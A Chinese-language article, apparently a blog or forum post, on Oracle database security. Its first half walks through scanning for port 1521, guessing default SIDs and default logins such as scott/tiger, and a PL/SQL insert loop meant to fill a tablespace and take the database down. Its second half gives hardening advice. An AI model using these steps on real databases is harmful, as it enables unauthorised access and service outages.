人們經常聽到Windows的安全漏洞,頻繁的遭受病毒攻擊等,我們的傳統觀念是 Windows太不安全了;實際上Unix/Linux如果配置不當,其危險性遠遠高出人們的想象,大部分人非常重視操作系統的安全,但作為其最重要的數據庫應用,你注意它了麼?本文旨在介紹數據庫級的安全,當然操作系統被攻破的話,那一切免談。
讓我帶你去試著攻擊一台裝有Oracle的機器
1、首先確定被攻擊Oracle的IP地址(無目的,那就去全網掃描吧,發現1521端口打開的就挑出來,不要說連掃描都不會,F..t)
2、猜測它的SID號;好象很困難,事實上安裝Oracle時有缺省值,80%的人安裝時都不會去修改,或改為很容易猜測的值,比如:ORCL、ORA、ORA8、ORA9、ORACLE、ORACLE8、ORACLE9、ORACLE8I、ORACLE817、Oracle92...
3、連接後,猜測用戶名和口令;好象更困難,事實上安裝 Oracle時,SYS、SYSTEM等系統用戶有缺省口令,可惜在9i中,終於改為需用戶自己確定口令(不過大部分用戶還是沿用以前的口令或使用'Oracle'),而且還有被人們遺忘的用戶,比如SCOTT,缺省安裝時他會被建立起來的。
4、sqlplus scott/tiger@ora_sid 終於登陸進來,可是這個小用戶只是用來做測試學習的,我們用他來干什麼呢?
鍵入:
SQL> select USERNAME,DEFAULT_TABLESPACE from USER_USERS; USERNAME DEFAULT_TABLESPACE ------------------------------ -------------------- SCOTT USERS SQL> select * from session_privs; PRIVILEGE ---------------------------------------- CREATE SESSION ALTER SESSION UNLIMITED TABLESPACE CREATE TABLE CREATE CLUSTER CREATE SYNONYM CREATE VIEW CREATE SEQUENCE CREATE DATABASE LINK CREATE PROCEDURE CREATE TRIGGER CREATE TYPE CREATE OperaTOR CREATE INDEXTYPE SQL> select * from user_ts_quotas; TABLESPACE_NAME BYTES MAX_BYTES BLOCKS MAX_BLOCKS ------------------------------ ---------- SYSTEM 524288 0 64 0 USERS 65536 0 8 0
什麼意思呢?
意思是我們的這個用戶是數據缺省是建在USERS表空間上的,擁有建表等權限,而USERS表空間的磁盤使用是無限制的,聰明的讀者應該明白我們可以在這裡寫入很多數據直到占滿它的磁盤,造成數據庫無法使用......
我們試試吧
先建張表
SQL> CREATE TABLE TEST (A CHAR(30));
這張TEST表只有一個字段A
再寫個PL/SQL過程
DECLARE v_number varchar2(30); m_number varchar2(30):=999999999999999999999999999999; --m_number的值代表了插入多少行數據,可修改但不能超過30位。 begin FOR v_number IN 1..m_number LOOP insert into TEST(A) values(m_number); commit; end LOOP; end; /
上面的PL/SQL過程表示給TEST表中A列循環插入'999999999999999999999999999999'值,共計999999999999999999999999999999行。以每行30 byte來算,共計2000000多億T大小吧,即便他是IBM大鲨魚的陣列存儲,也扛不住。
當然,你也可以增加幾個列,減少m_number值,可以加快速度的。
這裡再提醒大家一個Oracle缺省用戶DBSNMP,幾乎所有稍高版本的典型安裝都會創建它,危險指數高於SCOTT,因為它是創建在SYSTEM表空間的......F..t
講了半天,DBA們快看看自己的系統,一般來說成功率相當高。下面我們開始講講如何作好安全防護:
1、啟用防火牆。
很多單位的數據庫都沒有防火牆保護,或防火牆配置為透明。實際上防火牆可以有效的阻止掃描 ,如果做了NAT、地址限制、禁止ICMP等就更好了,讓別人在外網看不到你的數據庫。
2、加大多層結構數據庫應用的建設。
傳統的C/S盡管有很多優勢,但在安全性上實在令人擔心。很多程序開發者會將數據庫的用戶名和密碼直接寫在客戶端程序中,認為編譯後會很安全,但事實上你用文本編輯器打開過這個客戶端程序嗎?你會吃驚的發現竟然可以看到用戶名和密碼。
多層結構就沒有這個問題,前台就是個浏覽器或簡單的客戶端,可能會影響效率但在需要全網公開提供服務的情況下肯定是首選。
3、去除Oracle裡用不到的組件,比如JServer、Agent、遠程管理等等,這些強大的功能都是安全隱患,9I的AS存在緩沖溢出漏洞,如果你裝了就做祈禱吧...
4、修改缺省用戶的密碼,自建用戶加強口令管理和復雜度。
用system用戶進入執行
SQL> select username from dba_users; USERNAME ------------------------------ SYS SYSTEM OUTLN DBSNMP TEST SCOTT RMAN TEST1 SQL> select * from session_privs; PRIVILEGE ---------------------------------------- CREATE SESSION ALTER SESSION CREATE TABLE CREATE CLUSTER CREATE SYNONYM CREATE VIEW CREATE SEQUENCE CREATE DATABASE LINK SELECT ANY DICTIONARY
看看你系統到底存在哪些用戶,口令修改了嗎,夠復雜嗎,相應的權限是否有擴大的嫌疑?
5、作好數據備份
具體這裡就不多說了,CSDN相關版塊裡有詳細的帖子描述Oracle備份機制。
6、合理劃分文件系統
*在Unix/Linux下使用df -k檢查你的文件系統,不同用戶使用不同的表空間,不同的表空間建在不同的文件系統,千萬不要把應用建在SYSTEM表空間上,回滾/重做表空間的管理也不容忽視;
SQL> host df -k Filesystem 1K-blocks Used Available Use% Mounted on /dev/hda2 5036316 2100832 2679652 44% / /dev/hda3 5036316 4381292 399192 92% /oracle none 256144 0 256144 0% /dev/shm /dev/hda5 2016016 863144 1050460 46% /data1 /dev/hda7 6166948 558176 5295508 10% /data2 /dev/cdrom 81762 81762 0 100% /mnt/cdrom SQL> select file_name,tablespace_name from dba_data_fil FILE_NAME ------------------------------------------------------- TABLESPACE_NAME ------------------------------ /oracle/product/9.2.01/oradata/system.dbf SYSTEM /Oracle/product/9.2.01/oradata/undotbs.dbf UNDOTBS /data1/oradata/data1.dbf DATA1 /data2/oradata/data2.dbf DATA2
*在Windows下,使用資源管理器檢查你的分區,不同的表空間建在不同的分區上,同樣千萬不要把SYSTEM表空間和應用放在一起。
當然,安全管理浩如煙海,這篇文章全當拋磚引玉......